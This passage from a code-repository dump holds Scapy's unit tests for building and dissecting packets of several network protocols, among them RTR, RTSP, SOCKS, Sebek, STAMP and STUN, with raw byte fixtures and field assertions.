Z\xcb\xa2\nF'\x10J\xe2\x8c\xc0\x80\x10\x00\xe3\xed\x1f\x00\x00\x01\x01\x08\n\xeaX\x9f\x82\x81\xfb\xc4\n\x00\x03\x13/\x00\x00\x00\x08\x00\x04\x00\x00\x00\x00\x00\x14\x01\x13\x13\x00Y\xb9\xe0\x00\x00\x00a\x8b") pkt.asn == 24971 and pkt.prefix == "89.185.224.0"and pkt.shortest_length == 19 and pkt.longest_length == 19 + RTR IPv6 Prefix = default instantiation pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv6Prefix() raw(pkt) == b'E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x900\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x00\x06\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = default value build pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv6Prefix() RTRIPv6Prefix in pkt and pkt.shortest_length == 0 and pkt.longest_length == 0 and pkt.prefix == "::" and pkt.asn == 0 = filled values build pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv6Prefix(prefix="2001:db8::", asn=45000, shortest_length=32, longest_length=32) pkt.prefix == "2001:db8::" and pkt.asn == 45000 and pkt.shortest_length == 32 and pkt.longest_length == 32 = dissection pkt = Ether(b"\x00\x16>\xa9\x04\x1a\x84x\xac[\x82\xc2\x08\x00E\x00\x0b\x84\xb9\xa3@\x005\x06\x9f'\x8d\x16\x1c\xdc\xb9\x1a~\x9c Z\xcb\xa2\nF'\x10J\xe2\x8c\xc0\x80\x10\x00\xe3\xed\x1f\x00\x00\x01\x01\x08\n\xeaX\x9f\x82\x81\xfb\xc4\n\x00\x03\x13/\x00\x00\x00\x08\x00\x06\x00\x00\x00\x00\x00 \x01 \x00*\x03\xcd\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\xe2") pkt.prefix == "2a03:cd80::" and pkt.asn == 16354 and pkt.shortest_length == 32 and pkt.longest_length == 32 + RTR End of Data version 0 = default instantiation pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav0() raw(pkt) == b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90W\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x00\x07\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav0() RTREndofDatav0 in pkt and pkt.session_id == 0 and pkt.serial_number == 0 = filled values build pkt = IP()/TCP(dport=323)/RTRCacheResponse(session_id=12345)/RTREndofDatav0(session_id=12345, serial_number=17) pkt.serial_number == 17 and pkt.session_id == 12345 = dissection pkt = IP(b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01 Z\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x0f\x8e\x00\x00\x00\x0309\x00\x00\x00\x08\x00\x0709\x00\x00\x00\x0c\x00\x00\x00\x11') RTREndofDatav0 in pkt and pkt.serial_number == 17 and pkt.session_id == 12345 + RTR End of Data version 1 = default instantiation pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav1() raw(pkt) == b'E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f?\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x01\x07\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav1() RTREndofDatav1 in pkt and pkt.session_id == 0 and pkt.serial_number == 0 and pkt.refresh_interval == 0 and pkt.retry_interval == 0 and pkt.expire_interval == 0 = filled values build pkt = IP()/TCP(dport=323)/RTRCacheResponse(session_id=12345)/RTREndofDatav1(session_id=12345, serial_number=17, refresh_interval=500 , retry_interval=200, expire_interval=1800) pkt.serial_number == 17 and pkt.session_id == 12345 = dissection pkt = IP(b'E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00$\xf8\x00\x00\x00\x0309\x00\x00\x00\x08\x01\x0709\x00\x00\x00\x18\x00\x00\x00\x11\x00\x00\x01\xf4\x00\x00\x00\xc8\x00\x00\x07\x08') RTREndofDatav1 in pkt and pkt.serial_number == 17 and pkt.session_id == 12345 + RTR Cache Reset = default instantiation pkt = IP()/TCP(dport=323)/RTRCacheReset() raw(pkt) == b'E\x00\x000\x00\x01\x00\x00@\x06|\xc5\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90q\x00\x00\x00\x08\x00\x00\x00\x00\x00\x08' = default values build pkt = IP()/TCP(dport=323)/RTRCacheReset() RTRCacheReset in pkt and pkt.reserved == 0 #= filled values build - nonsense test = dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x000\x00\x01\x00\x00@\x06|\xc5\x7f\x00\x00\x01\x7f\x00\x00\x01 Z\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00p+\x00\x00\x00\x08\x00\x00\x00\x00\x00\x08') RTRCacheReset in pkt and pkt.reserved == 0 + RTR Router Key = default instantiation pkt = IP()/TCP(dport=323)/RTRRouterKey() raw(pkt) == b'E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f>\x00\x00\x01\t\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRRouterKey() RTRRouterKey in pkt and pkt.zeros == 0 and pkt.subject_key_identifier == b'' and pkt.asn == 0 and pkt.subject_PKI == b'' = filled values build pkt = IP()/TCP(dport=323)/RTRRouterKey(subject_key_identifier='7dd65f58882efc148edd', asn=45000, subject_PKI='Scapy ROA') pkt.asn == 45000 and pkt.subject_PKI == b'Scapy ROA' and pkt.subject_key_identifier == b'7dd65f58882efc148edd' = dissection pkt = IP(b'E\x00\x00Q\x00\x01\x00\x00@\x06|\xa4\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00x\xe8\x00\x00\x01\t\x00\x00\x00+\x00\x007dd65f58882efc148edd\x00\x00\xaf\xc8Scapy ROA') RTRRouterKey in pkt #and pkt.asn == 45000 and pkt.subject_PKI == b'Scapy ROA' and pkt.zeros == 0 and pkt.subject_key_identifier == b'7dd65f58882efc148edd' + RTR Error Report = default instantiation pkt = IP()/TCP(dport=323)/RTRErrorReport() raw(pkt) == b'E\x00\x008\x00\x01\x00\x00@\x06|\xbd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90]\x00\x00\x00\n\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = default values build pkt = IP()/TCP(dport=323)/RTRErrorReport() RTRErrorReport in pkt and pkt.error_code == 0 and pkt.erroneous_PDU == b'' and pkt.error_text == b'' = filled values build pkt = IP()/TCP(dport=323)/RTRErrorReport(error_code=1, error_text='Internal Error') RTRErrorReport in pkt and pkt.error_code == 1 and pkt.error_text == b'Internal Error' = dissection pkt = IP(b'E\x00\x00F\x00\x01\x00\x00@\x06|\xaf\x7f\x00\x00\x01\x7f\x00\x00\x01 Z\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xdc\x15\x00\x00\x00\n\x00\x01\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x0eInternal Error') RTRErrorReport in pkt and pkt.error_code == 1 and pkt.error_text == b'Internal Error' ================================================ FILE: test/contrib/rtsp.uts ================================================ % RTSP tests + RTSP - Dissection and Build tests = RTSP request - dissection pkt = Ether(b'\xbc\xdf \x00\x02\x00\x00\x00\x02\x00\x00\x00\x08\x00E\x00\x01\xde\x16\xca@\x00\x80\x06\xf9\xb8Q\x83\xe7CR\xd3\\\xfd\x0fU\x02*\xbf\xd4\xcb\xa4~\n\x19DP\x18"8\x86n\x00\x00DESCRIBE rtsp://EMAP1.planetwideradio.com/tfm RTSP/1.0\r\nUser-Agent: WMPlayer/10.0.0.380 guid/7405E143-26AC-4B37-9802-A35EE8C6CFA7\r\nAccept: application/sdp\r\nAccept-Charset: UTF-8, *;q=0.1\r\nX-Accept-Authentication: Negotiate, NTLM, Digest, Basic\r\nAccept-Language: en-GB, *;q=0.1\r\nCSeq: 1\r\nSupported: com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.predstrm, com.microsoft.wm.startupprofile\r\n\r\n') assert RTSPRequest in pkt assert pkt.Method == b"DESCRIBE" assert pkt.Request_Uri == b"rtsp://EMAP1.planetwideradio.com/tfm" assert pkt.Version == b"RTSP/1.0" assert pkt.Accept == b"application/sdp" assert pkt.User_Agent == b"WMPlayer/10.0.0.380 guid/7405E143-26AC-4B37-9802-A35EE8C6CFA7" = RTSP request - build rebuild = RTSP() / RTSPRequest(Accept=b'application/sdp', Accept_Language=b'en-GB, *;q=0.1', User_Agent=b'WMPlayer/10.0.0.380 guid/7405E143-26AC-4B37-9802-A35EE8C6CFA7', Unknown_Headers={b'Accept-Charset': b'UTF-8, *;q=0.1', b'X-Accept-Authentication': b'Negotiate, NTLM, Digest, Basic', b'CSeq': b'1', b'Supported': b'com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.predstrm, com.microsoft.wm.startupprofile'}, Method=b'DESCRIBE', Request_Uri=b'rtsp://EMAP1.planetwideradio.com/tfm', Version=b'RTSP/1.0') assert bytes(rebuild) == b'DESCRIBE rtsp://EMAP1.planetwideradio.com/tfm RTSP/1.0\r\nAccept: application/sdp\r\nAccept-Language: en-GB, *;q=0.1\r\nUser-Agent: WMPlayer/10.0.0.380 guid/7405E143-26AC-4B37-9802-A35EE8C6CFA7\r\nAccept-Charset: UTF-8, *;q=0.1\r\nX-Accept-Authentication: Negotiate, NTLM, Digest, Basic\r\nCSeq: 1\r\nSupported: com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.predstrm, com.microsoft.wm.startupprofile\r\n\r\n' = RTSP response - dissection pkt = Ether(b'\x00\x02\xb3L\xf6\xb2\x00 \x9cR\x93`\x08\x00E\x80\x02cY\x13@\x00p\x06\xa9\x91\xd8@\xbe=\n\xc9d)\x02*\t\x9d\xf7p\xe8O\x10\xfcz\x9fP\x18\xfc\xc0\x91L\x00\x00RTSP/1.0 200 OK\r\nTransport: RTP/AVP/UDP;unicast;server_port=5004-5005;client_port=2462-2463;ssrc=927717de;mode=PLAY\r\nDate: Sun, 06 Nov 2005 12:19:47 GMT\r\nCSeq: 2\r\nSession: 17555940012607716235;timeout=60\r\nServer: WMServer/9.1.1.3814\r\nSupported: com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.fastcache, com.microsoft.wm.packetpairssrc, com.microsoft.wm.startupprofile\r\nLast-Modified: Thu, 20 Oct 2005 16:30:11 GMT\r\nCache-Control: x-wms-content-size=84457, max-age=86398, must-revalidate, proxy-revalidate\r\nEtag: "84457"\r\n\r\n') assert RTSPResponse in pkt assert pkt.Version == b"RTSP/1.0" assert pkt.Status_Code == b"200" assert pkt.Reason_Phrase == b"OK" assert pkt.Server == b"WMServer/9.1.1.3814" = RTSP response - build rebuild = RTSP() / RTSPResponse(Server=b'WMServer/9.1.1.3814', Unknown_Headers={b'Transport': b'RTP/AVP/UDP;unicast;server_port=5004-5005;client_port=2462-2463;ssrc=927717de;mode=PLAY', b'Date': b'Sun, 06 Nov 2005 12:19:47 GMT', b'CSeq': b'2', b'Session': b'17555940012607716235;timeout=60', b'Supported': b'com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.fastcache, com.microsoft.wm.packetpairssrc, com.microsoft.wm.startupprofile', b'Last-Modified': b'Thu, 20 Oct 2005 16:30:11 GMT', b'Cache-Control': b'x-wms-content-size=84457, max-age=86398, must-revalidate, proxy-revalidate', b'Etag': b'"84457"'}, Version=b'RTSP/1.0', Status_Code=b'200', Reason_Phrase=b'OK') assert bytes(rebuild) == b'RTSP/1.0 200 OK\r\nServer: WMServer/9.1.1.3814\r\nTransport: RTP/AVP/UDP;unicast;server_port=5004-5005;client_port=2462-2463;ssrc=927717de;mode=PLAY\r\nDate: Sun, 06 Nov 2005 12:19:47 GMT\r\nCSeq: 2\r\nSession: 17555940012607716235;timeout=60\r\nSupported: com.microsoft.wm.srvppair, com.microsoft.wm.sswitch, com.microsoft.wm.eosmsg, com.microsoft.wm.fastcache, com.microsoft.wm.packetpairssrc, com.microsoft.wm.startupprofile\r\nLast-Modified: Thu, 20 Oct 2005 16:30:11 GMT\r\nCache-Control: x-wms-content-size=84457, max-age=86398, must-revalidate, proxy-revalidate\r\nEtag: "84457"\r\n\r\n' ================================================ FILE: test/contrib/sdnv.uts ================================================ % SDNV library tests ############ ############ + Test SDNV encoding/decoding = Load SDNVUtil # Explicit to load SDNVUtil load_contrib("sdnv") = Define utils def doTestVector(vec): # Test numbers individually for n in vec: ba = SDNVUtil.encode(n) (num, sdnvLen) = SDNVUtil.decode(ba, 0) if num != n: print("Error encoding/decoding", n) return False # Encode them all in a bunch ba = bytearray() for n in vec: temp = SDNVUtil.encode(n) ba = ba + temp offset = 0 outNums = [] for n in vec: (num, sdnvLen) = SDNVUtil.decode(ba, offset) outNums.append(num) offset += sdnvLen if outNums != vec: print("Failed on multi-number encode/decode") return False return True = Vector tests: small ints ba = bytearray() theNums = [0, 1, 2, 5, 126, 127, 128, 129, 130, 150, 190, 220, 254, 255, 256] assert doTestVector(theNums) = Vector tests: big ints theNums = [0, 1, 0, 1, 0, 128, 32765, SDNVUtil.maxValue - 10, 4, 32766, 32767, 32768, 32769] assert doTestVector(theNums) = 100 random vector tests import random def doRandomTestVector(howMany): vec = [] for i in range(0, howMany): vec.append(random.randint(0, SDNVUtil.maxValue)) result = doTestVector(vec) return result assert doRandomTestVector(100) = SDVN tests # Tests using the SDNV class s = SDNV(30) b = s.encode(17) theNums = [0, 4, 20, 29, 30, 31, 33] not_enc = [] for n in theNums: try: b = s.encode(n) except SDNVValueError as e: print("Could not encode", n, "-- maximum value is:", e.maxValue) not_enc.append(n) not_enc.sort() assert not_enc == [31, 33] ================================================ FILE: test/contrib/sebek.uts ================================================ # Sebek layer unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('sebek')" -t test/contrib/sebek.uts + Sebek protocol = Layer binding 1 pkt = IP() / UDP() / SebekHead() / SebekV1(cmd="diepotato") assert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 1 assert pkt.summary() == "IP / UDP / SebekHead / Sebek v1 read (b'diepotato')" = Packet dissection 1 pkt = IP(raw(pkt)) pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 1 = Layer binding 2 pkt = IP() / UDP() / SebekHead() / SebekV2Sock(cmd="diepotato") assert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 2 and pkt[SebekHead].type ==2 assert pkt.summary() == "IP / UDP / SebekHead / Sebek v2 socket (b'diepotato')" = Packet dissection 2 pkt = IP(raw(pkt)) pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 2 and pkt[SebekHead].type ==2 = Layer binding 3 pkt = IPv6()/UDP()/SebekHead()/SebekV3() assert pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 3 assert pkt.summary() == "IPv6 / UDP / SebekHead / Sebek v3 read (b'')" = Packet dissection 3 pkt = IPv6(raw(pkt)) pkt.sport == pkt.dport == 1101 and pkt[SebekHead].version == 3 = Nonsense summaries assert SebekHead(version=2).summary() == "Sebek Header v2 read" assert SebekV1(cmd="diepotato").summary() == "Sebek v1 (b'diepotato')" assert SebekV2(cmd="diepotato").summary() == "Sebek v2 (b'diepotato')" assert (SebekHead()/SebekV2(cmd="nottoday")).summary() == "SebekHead / Sebek v2 read (b'nottoday')" assert SebekV3(cmd="diepotato").summary() == "Sebek v3 (b'diepotato')" assert (SebekHead()/SebekV3(cmd="nottoday")).summary() == "SebekHead / Sebek v3 read (b'nottoday')" assert SebekV3Sock(cmd="diepotato").summary() == "Sebek v3 socket (b'diepotato')" assert (SebekHead()/SebekV3Sock(cmd="nottoday")).summary() == "SebekHead / Sebek v3 socket (b'nottoday')" assert SebekV2Sock(cmd="diepotato").summary() == "Sebek v2 socket (b'diepotato')" assert (SebekHead()/SebekV2Sock(cmd="nottoday")).summary() == "SebekHead / Sebek v2 socket (b'nottoday')" ================================================ FILE: test/contrib/send.uts ================================================ + SEND (IPv6) tests = ICMPv6NDOptRsaSig build and dissection pkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptRsaSig(signature_pad = b"\x01" * 12) pkt = Ether(raw(pkt)) assert ICMPv6NDOptRsaSig in pkt assert pkt[ICMPv6NDOptRsaSig].signature_pad == b"\x01" * 12 = ICMPv6NDOptCGA build and dissection pkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptCGA(CGA_PARAMS=CGA_Params(pubkey=X509_SubjectPublicKeyInfo(signatureAlgorithm=X509_AlgorithmIdentifier(parameters=0)))) pkt = Ether(raw(pkt)) assert ICMPv6NDOptCGA in pkt assert isinstance(pkt[ICMPv6NDOptCGA].CGA_PARAMS.pubkey, X509_SubjectPublicKeyInfo) assert len(pkt) == 142 = ICMPv6NDOptTmstp build and dissection pkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptTmstp(timestamp=int(time.mktime(time.gmtime()))) pkt = Ether(raw(pkt)) pkt.show() assert ICMPv6NDOptTmstp in pkt assert pkt[ICMPv6NDOptTmstp].len == 2 = ICMPv6NDOptNonce build and dissection pkt = Ether()/IPv6()/ICMPv6ND_NS()/ICMPv6NDOptNonce(nonce=b"\x31\x32\x33\x34\x35\x36") pkt = Ether(raw(pkt)) assert ICMPv6NDOptNonce in pkt assert raw(ICMPv6NDOptNonce(nonce=b"\x31\x32\x33\x34\x35\x36")) == b'\x0e\x01123456' ================================================ FILE: test/contrib/socks.uts ================================================ + SOCKS 4/5 tests = Basic build and dissection - test version dispatch p1 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS5Request())) p2 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS5Reply())) p3 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS4Request())) p4 = Ether(raw(Ether()/IP()/TCP()/SOCKS()/SOCKS4Reply())) assert p1[TCP].dport == 1080 assert p1[SOCKS].vn == 0x5 assert SOCKS5Request in p1 assert p2[TCP].sport == 1080 assert p2[SOCKS].vn == 0x5 assert SOCKS5Reply in p2 assert p3[TCP].dport == 1080 assert p3[SOCKS].vn == 0x4 assert SOCKS4Request in p3 assert p4[TCP].sport == 1080 assert p4[SOCKS].vn == 0x0 assert SOCKS4Reply in p4 = SOCKS5Request build and dissection pkt = IP(dst="127.0.0.1", src="127.0.0.1")/TCP(sport=123)/SOCKS()/SOCKS5Request(atyp=0x3, addr="scapy.net") assert raw(pkt) == b'E\x00\x009\x00\x01\x00\x00@\x06|\xbc\x7f\x00\x00\x01\x7f\x00\x00\x01\x049\x048\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xf2*\x00\x00\x05\x00\x00\x03\x05scapy\x03net\x00\x00P' pkt = IP(raw(pkt)) assert SOCKS5Request in pkt assert pkt[SOCKS5Request].addr == b'scapy.net.' = Test SOCKSv5 over UDP pkt = Ether()/IP()/UDP()/SOCKS5UDP(port=53)/DNS() pkt = Ether(raw(pkt)) assert DNS in pkt ================================================ FILE: test/contrib/stamp.uts ================================================ % STAMP regression tests for Scapy # More information at http://www.secdev.org/projects/UTscapy/ # Type the following command to launch start the tests: # $ test/run_tests -t test/contrib/stamp.uts ############ # STAMP ############ + STAMP tests = Load module load_contrib("stamp") = Test STAMP Session-Sender Test (Unauthenticated) ~ stamp-session-sender-test created = STAMPSessionSenderTestUnauthenticated( seq=0x1234, ts=1234.5678, err_estimate=ErrorEstimate( S=1, Z=0, scale=0x12, multiplier=0x34 ), ssid=1357 ) assert raw(created) == b'\x00\x00\x12\x34\x00\x00\x04\xD2\x91\x5B\x57\x3E\x92\x34\x05\x4D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' parsed = STAMPSessionSenderTestUnauthenticated(raw(created)) assert parsed.seq == 0x1234 assert parsed.ts == 1234.5678 assert parsed.err_estimate.S == 1 assert parsed.err_estimate.Z == 0 assert parsed.err_estimate.scale == 0x12 assert parsed.err_estimate.multiplier == 0x34 assert parsed.ssid == 1357 assert parsed.mbz == 0 assert not parsed.tlv_objects = Test STAMP Session-Reflector Test (Unauthenticated) ~ stamp-session-reflector-test created = STAMPSessionReflectorTestUnauthenticated( seq=0x1234, ts=1234.5678, err_estimate=ErrorEstimate( S=1, Z=0, scale=0x12, multiplier=0x34 ), ssid=1357, ts_rx=4321.8765, seq_sender=0x4321, ts_sender=2143.6587, err_estimate_sender=ErrorEstimate( S=0, Z=0, scale=0x21, multiplier=0x43 ), ttl_sender=111 ) assert raw(created) == b'\x00\x00\x12\x34\x00\x00\x04\xD2\x91\x5B\x57\x3E\x92\x34\x05\x4D\x00\x00\x10\xE1\xE0\x62\x4D\xD2\x00\x00\x43\x21\x00\x00\x08\x5F\xA8\xA0\x90\x2D\x21\x43\x00\x00\x6F\x00\x00\x00' parsed = STAMPSessionReflectorTestUnauthenticated(raw(created)) assert parsed.seq == 0x1234 assert parsed.ts == 1234.5678 assert parsed.err_estimate.S == 1 assert parsed.err_estimate.Z == 0 assert parsed.err_estimate.scale == 0x12 assert parsed.err_estimate.multiplier == 0x34 assert parsed.ssid == 1357 assert parsed.ts_rx == 4321.8765 assert parsed.seq_sender == 0x4321 assert parsed.ts_sender == 2143.6587 assert parsed.err_estimate_sender.S == 0 assert parsed.err_estimate_sender.Z == 0 assert parsed.err_estimate_sender.scale == 0x21 assert parsed.err_estimate_sender.multiplier == 0x43 assert parsed.mbz1 == 0 assert parsed.ttl_sender == 111 assert parsed.mbz2 == 0 assert not parsed.tlv_objects ================================================ FILE: test/contrib/stun.uts ================================================ # STUN unit tests # run with: # test/run_tests -P "load_contrib('stun')" -t test/contrib/stun.uts -F % STUN regression tests for Scapy ############ # STUN ############ + STUN Binding messages = test STUN binding request 1 raw = b"\x00\x01\x00\x64\x21\x12\xa4\x42\xcf\xac\xb2\xa4\x3a\xa2\xde\x5a" \ b"\x9d\x56\xd8\x5a\x00\x25\x00\x00\x00\x24\x00\x04\x6e\x20\x00\xff" \ b"\x80\x2a\x00\x08\x1b\x0a\xb9\x8b\x6e\x8e\xff\xa6\x00\x06\x00\x25" \ b"\x6f\x4e\x70\x68\x3a\x48\x74\x31\x31\x4d\x61\x52\x5a\x48\x63\x34" \ b"\x47\x4f\x4c\x4a\x55\x73\x62\x75\x31\x52\x33\x59\x43\x73\x37\x32" \ b"\x48\x59\x4e\x32\x35\x20\x20\x20\x00\x08\x00\x14\xfc\xbc\x47\x21" \ b"\x68\x1f\xdb\x59\x91\x33\x42\xbe\x96\x19\x9e\x7f\x3e\xf0\xe7\x77" \ b"\x80\x28\x00\x04\x87\x18\xc3\xa4" parsed = STUN(raw) assert parsed.RESERVED == 0x00, parsed.RESERVED assert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == "Binding request" assert parsed.length == 100 assert parsed.magic_cookie == 0x2112A442 assert parsed.transaction_id == 0xcfacb2a43aa2de5a9d56d85a, parsed.transaction_id assert parsed.attributes == [ STUNUseCandidate(), STUNPriority(priority=1847591167), STUNIceControlling(tie_breaker=0x1b0ab98b6e8effa6), STUNUsername(length=37, username="oNph:Ht11MaRZHc4GOLJUsbu1R3YCs72HYN25"), STUNMessageIntegrity(hmac_sha1=0xfcbc4721681fdb59913342be96199e7f3ef0e777), STUNFingerprint(crc_32=0x8718c3a4) ] = test STUN binding request 2 raw = b"\x00\x01\x00\x6c\x21\x12\xa4\x42\x34\x79\x47\x65\x34\x63\x59\x36" \ b"\x31\x6a\x79\x6a\x00\x06\x00\x25\x48\x74\x31\x31\x4d\x61\x52\x5a" \ b"\x48\x63\x34\x47\x4f\x4c\x4a\x55\x73\x62\x75\x31\x52\x33\x59\x43" \ b"\x73\x37\x32\x48\x59\x4e\x32\x35\x3a\x6f\x4e\x70\x68\x00\x00\x00" \ b"\xc0\x57\x00\x04\x00\x00\x03\xe7\x80\x2a\x00\x08\xa6\x96\x81\x9e" \ b"\x91\xc9\x37\xda\x00\x25\x00\x00\x00\x24\x00\x04\x6e\x00\x1e\xff" \ b"\x00\x08\x00\x14\xc1\x87\xaa\xfa\xb1\xe0\xf3\x12\x31\x43\x3a\xb1" \ b"\x4d\x67\x6b\xc7\xb9\x89\xbd\x5f\x80\x28\x00\x04\xc9\x56\x6c\xfc" parsed = STUN(raw) assert parsed.RESERVED == 0x00, parsed.RESERVED assert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == "Binding request" assert parsed.length == 108 assert parsed.magic_cookie == 0x2112A442 assert parsed.transaction_id == 0x3479476534635936316a796a assert parsed.attributes == [ STUNUsername(length=37, username='Ht11MaRZHc4GOLJUsbu1R3YCs72HYN25:oNph'), STUNGoogNetworkInfo(), STUNIceControlling(tie_breaker=0xa696819e91c937da), STUNUseCandidate(), STUNPriority(priority=1845501695), STUNMessageIntegrity(hmac_sha1=0xc187aafab1e0f31231433ab14d676bc7b989bd5f), STUNFingerprint(crc_32=0xc9566cfc) ] = test STUN binding success response 1 raw = b"\x01\x01\x00\x2c\x21\x12\xa4\x42\xcf\xac\xb2\xa4\x3a\xa2\xde\x5a" \ b"\x9d\x56\xd8\x5a\x00\x20\x00\x08\x00\x01\xbf\x32\x8d\x06\xa4\x68" \ b"\x00\x08\x00\x14\xb7\x1f\xc9\x23\x58\x97\xc8\x02\xe3\xff\xf8\xe3" \ b"\xd8\x89\xfa\x41\x42\x8d\x96\x7d\x80\x28\x00\x04\xea\x9b\x65\x59" parsed = STUN(raw) assert parsed.RESERVED == 0x00, parsed.RESERVED assert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == "Binding success response" assert parsed.length == 44 assert parsed.magic_cookie == 0x2112A442 assert parsed.transaction_id == 0xcfacb2a43aa2de5a9d56d85a, parsed.transaction_id assert parsed.attributes == [ STUNXorMappedAddress(length=8, xport=40480, xip="172.20.0.42"), STUNMessageIntegrity(hmac_sha1=0xb71fc9235897c802e3fff8e3d889fa41428d967d), STUNFingerprint(crc_32=0xea9b6559) ] = test STUN binding success response 2 raw = b"\x01\x01\x00\x58\x21\x12\xa4\x42\x34\x79\x47\x65\x34\x63\x59\x36" \ b"\x31\x6a\x79\x6a\x00\x20\x00\x08\x00\x01\x40\xba\x8d\x06\xa4\x8a" \ b"\x00\x06\x00\x25\x48\x74\x31\x31\x4d\x61\x52\x5a\x48\x63\x34\x47" \ b"\x4f\x4c\x4a\x55\x73\x62\x75\x31\x52\x33\x59\x43\x73\x37\x32\x48" \ b"\x59\x4e\x32\x35\x3a\x6f\x4e\x70\x68\x20\x20\x20\x00\x08\x00\x14" \ b"\x4b\x67\x03\x6d\xfb\x65\xca\x84\xd6\x3b\xca\xc8\x6c\x8d\x59\x81" \ b"\xdf\x65\x70\x31\x80\x28\x00\x04\x40\x41\xe9\xc3" parsed = STUN(raw) assert parsed.RESERVED == 0x00, parsed.RESERVED assert STUN.stun_message_type.i2repr(None, parsed.stun_message_type) == "Binding success response" assert parsed.length == 88 assert parsed.magic_cookie == 0x2112A442 assert parsed.transaction_id == 0x3479476534635936316a796a, parsed.transaction_id assert parsed.attributes[0] == STUNXorMappedAddress(length=8, xport=25000, xip="172.20.0.200"), parsed.attributes assert parsed.attributes == [ STUNXorMappedAddress(length=8, xport=25000, xip="172.20.0.200"), STUNUsername(length=37, username="Ht11MaRZHc4GOLJUsbu1R3YCs72HYN25:oNph"), STUNMessageIntegrity(hmac_sha1=0x4b67036dfb65ca84d63bcac86c8d5981df657031), STUNFingerprint(crc_32=0x4041e9c3) ] = test STUN binding success response IPv6 raw = b"\x01\x01\x00\x18\x21\x12\xa4\x42\x91\x1b\x25\x32\x99\x8d\xa0\x1c" \ b"\xf9\xd0\x53\xd9\x00\x20\x00\x14\x00\x02\x3c\xd7\x21\x12\xa4\x42" \ b"\x91\x1b\x25\x32\x99\x8d\xa0\x1c\xf9\xd0\x53\xd8" parsed = STUN(raw) assert parsed.RESERVED == 0x00, parsed.RESERVED assert STUN.stun_message_type.i2repr(None, 